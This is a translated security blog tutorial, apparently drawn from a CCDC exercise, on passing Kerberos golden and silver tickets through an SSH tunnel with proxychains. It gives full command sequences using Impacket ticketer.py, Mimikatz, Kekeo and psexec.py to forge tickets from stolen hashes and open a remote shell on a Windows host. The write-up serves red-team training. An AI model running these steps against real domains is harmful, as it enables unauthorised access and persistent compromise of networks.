导语:票证传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PtT最常见的用途可能是使用黄金票证和白银票证。通过PtT访问主机相当简单; 但是,通过SSH隧道来执行它却很复杂。
票证传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PtT最常见的用途可能是使用黄金票证和白银票证。通过PtT访问主机相当简单; 但是,通过SSH隧道来执行它却很复杂。
在今年的Pacific Rim CCDC上,我和我的同事们遇到了这样一种情况:我们拥有目标机器的krbtgt和机器帐户的NTLM哈希值,并且拥有内部网络连接的DMZ区域中的一个Linux主机的非特权SSH访问权限,但是我们不能直接访问任何Windows主机。
整个情况大致如下图所示:
票证传递攻击概述
当你尝试在网络分段部分入侵敏感主机时,你可能会在生产网络中遇到过类似的情况。这篇文章会介绍如何通过SSH隧道传递黄金票证和白银票证。作为本文的一个例子,我们将尝试通过位于10.0.10.81的Linux主机来入侵Windows主机WIN-RMJBTDB7QTF。
非常感谢Albertcket Solino(@agsolino)和Impacket的开发人员,Benjamin Delpy(@gentilkiwi),Chris Gates(@ carnalOwnage)和MWR Labs(@mwrlabs)分享了很多资源。
黄金票证
有很多博客文章都广泛的描述了黄金票证(伪造TGT票)。它们提供了攻击者持久访问域的方法,在林环境中的域内进行渗透,以及作为不存在的用户访问某个资源。有关Golden Tickets的详细信息,请查看Sean Metcalf(@ PyroTek3)发布的Kerberos Golden Tickets Now More Golden(以及他编写的其他数十篇有用的文章)!
这种攻击需要在Linux主机上安装Impacket Library和proxychains。主机不需要加入域。
伪造票证
要创建一张黄金票证,我们需要从目标域获得以下信息:
· krbtgt帐户的NT哈希
· 域的SID
· 域的FQDN
· 要冒充的用户
我们将使用Impacket的示例脚本ticketer.py来创建Golden Ticket凭证缓存(ccache)文件。以下是为用户mbrody-da创建凭证缓存文件的语法示例:
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
要启用Impacket示例脚本来使用凭证缓存文件进行身份验证,而不是提供纯文本密码或NT哈希,我们需要将该KRB5CCNAME变量设置为我们的凭证缓存文件的绝对路径:
export KRB5CCNAME=/path/to/ccache/file
验证变量设置是否正确:
现在,我们可以使用-k参数和支持Kerberos身份验证的任何Impacket脚本的来使用Golden Ticket,而不是提供纯文本密码或NT哈希值。
名称解析
为确保Kerberos正确处理功能,我们需要修改攻击者计算机上的/etc/hosts文件,目的是包含目标域控制器的FQDN和目标主机的NetBIOS名称。下面是一个示例内容:
127.0.0.1 localhost 192.168.26.129 amity.local 192.168.26.128 WIN-RMJBTDB7QTF
如果你还没有域控制器的IP地址,请通过目标Linux主机上的SSH会话在目标域的FQDN上运行nslookup。例如:
nslookup -type=srv _ldap._tcp.AMITY.LOCAL
Proxychains
我们将使用proxychains工具将流量路由到SSH隧道。通过查看配置文件的最后一行来验证proxychains端口,默认情况下在Kali上是有/etc/proxychains.conf 这个文件的。
注意:如果你在执行攻击时出现名称解析问题,你可能需要注释掉proxychains配置文件中的proxy_dns设置。
当我们通过SSH进入目标Linux主机时,我们需要提供-D参数指定proxychains 的端口。这将在我们的本地主机的端口上创建SOCKS代理,用于proxychains路由网络流量。例如:
ssh [email protected] -D 1337
为了验证隧道设置是否正确,我们可以使用proxychains对目标主机的端口445运行nmap TCP连接扫描:
proxychains nmap -sT -Pn -p445 192.168.26.128
时间同步
如果攻击者的机器的时间与目标域的DC相差大约五分钟以上,那么黄金票证认证将无法正常工作。如果时差超过5分钟,我们可以使用net time用来检查目标的时间(下面的第1行),并设置攻击者机器(第2行)的时间:
proxychains net time -S <IP-of-DC> proxychains net time set -S <IP-of-DC>
启动攻击
随着一切准备工作的就绪,我们可以使用任何支持凭证缓存文件认证的工具来攻击目标主机。例如:Impacket的psexec.py示例脚本。运行以下命令将返回一个交互式的CMD:
proxychains ./psexec.py [email protected] -k -no-pass
如果你在启动时发生了错误,请检查依赖的配置并且使用psexec.py的-debug参数进行故障诊断。
白银票证
白银票证(伪造的TGS票证)是认证用户在主机上运行的服务,并为攻击者提供了Golden Tickets没有提供的隐形和持久性方式。有关Silver Tickets及其优点的更多信息,请参阅Sean Metcalf的文章“攻击者如何使用Kerberos Silver Tickets来攻击系统”。
这种攻击需要一台安装了Impacket库和proxychains的Linux主机以及安装了Mimikatz和Kekeo的Windows主机。两个主机都不需要加入域。
伪造票证
要生成白银票证,我们需要以下信息:
· 目标主机帐号的NTLM哈希
· 目标主机的FQDN
· 目标服务
· 域的SID
· 域的FQDN
· 要冒充的用户
在这个例子中,我们将通过SMB向目标主机进行身份验证,所以我们将使用到CIFS服务。Sean Metcalf维护了常见的SPN列表,可用于白银票证,列表在这里。
在撰写本文时,ticketer.py不支持白银票证的生成。相反,我们将在我们的Windows主机上使用Mimikatz来创建Silver Ticket也就是 .kirbi文件,并使用Kekeo将该票据转换为ccache(凭证缓存)文件。
利用Mimikatz的Kerberos模块使用以下语法生成白银票证:
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
以下是为用户mbrody-da和CIFS服务创建票证的示例:
kerberos::golden /user:mbrody-da /domain:amity.local /sid:S-1-5-21-2972629792-1506071460-1188933728 /target:WIN-RMJBTDB7QTF.amity.local /rc4:9f5dc9080322414141c92ff51efb952d /service:cifs
退出Mimikatz并启动Kekeo。使用以下语法将kirbi文件转换为ccache(凭证缓存)文件:
misc::convert ccache /path/to/ticket.kirbi
你可以使用以下语法转换多个kirbi票据:
misc::convert ccaches /path/to/ticket1.kirbi /path/to/ticket2.kirbi ...
将Kekeo输出的凭证缓存文件复制到攻击者的Linux主机上。并记录该文件在Linux主机上的绝对路径; 我们将需要使用这个路径来设置KRB5CCNAME变量。其余的攻击步骤使用我们的Linux主机来完成。
攻击设置
剩余的“白银票证攻击”的设置与“黄金票证攻击”的设置很相似,除了下面两个例外。
首先,我们需要在/etc/hosts文件中提供目标主机的FQDN ,而不是NetBIOS名称。在我们本文的例子中,/etc/hosts文件应该是这样的:
127.0.0.1 localhost 192.168.26.129 amity.local 192.168.26.128 WIN-RMJBTDB7QTF.amity.local
第二个区别是我们需要将攻击者的机器的时间与目标主机同步; 白银票证不与目标的域控制器通信。
按照与上面的黄金票证攻击相同的步骤设置KRB5CCNAME变量,验证proxychains的配置,使用SOCKS代理建立SSH隧道,并使用nmap验证隧道。
启动攻击
我们现在可以使用psexec.py针对目标主机的FQDN 发起攻击:
proxychains python psexec.py [email protected] -k -no-pass
演示视频
本视频演示了上述两种攻击方法:
最后的一点想法
黄金票证和白银票证为攻击者提供了维持权限的持久性和隐秘性的技术,但需要向目标主机发起正向连接。攻击者可能会发现他们虽然拥有了所需的信任连接关系,但只能通过Linux主机间接访问到目标主机。在这种情况下,可以利用proxychains通过SSH隧道执行“票证传递”攻击。虽然本文介绍了使用psexec.py发起针对目标主机的攻击,但任何支持-k参数的Impacket脚本都可以使用这种方法,包括atexec.py,smbclient.py,smbexec.py和wmiexec.py。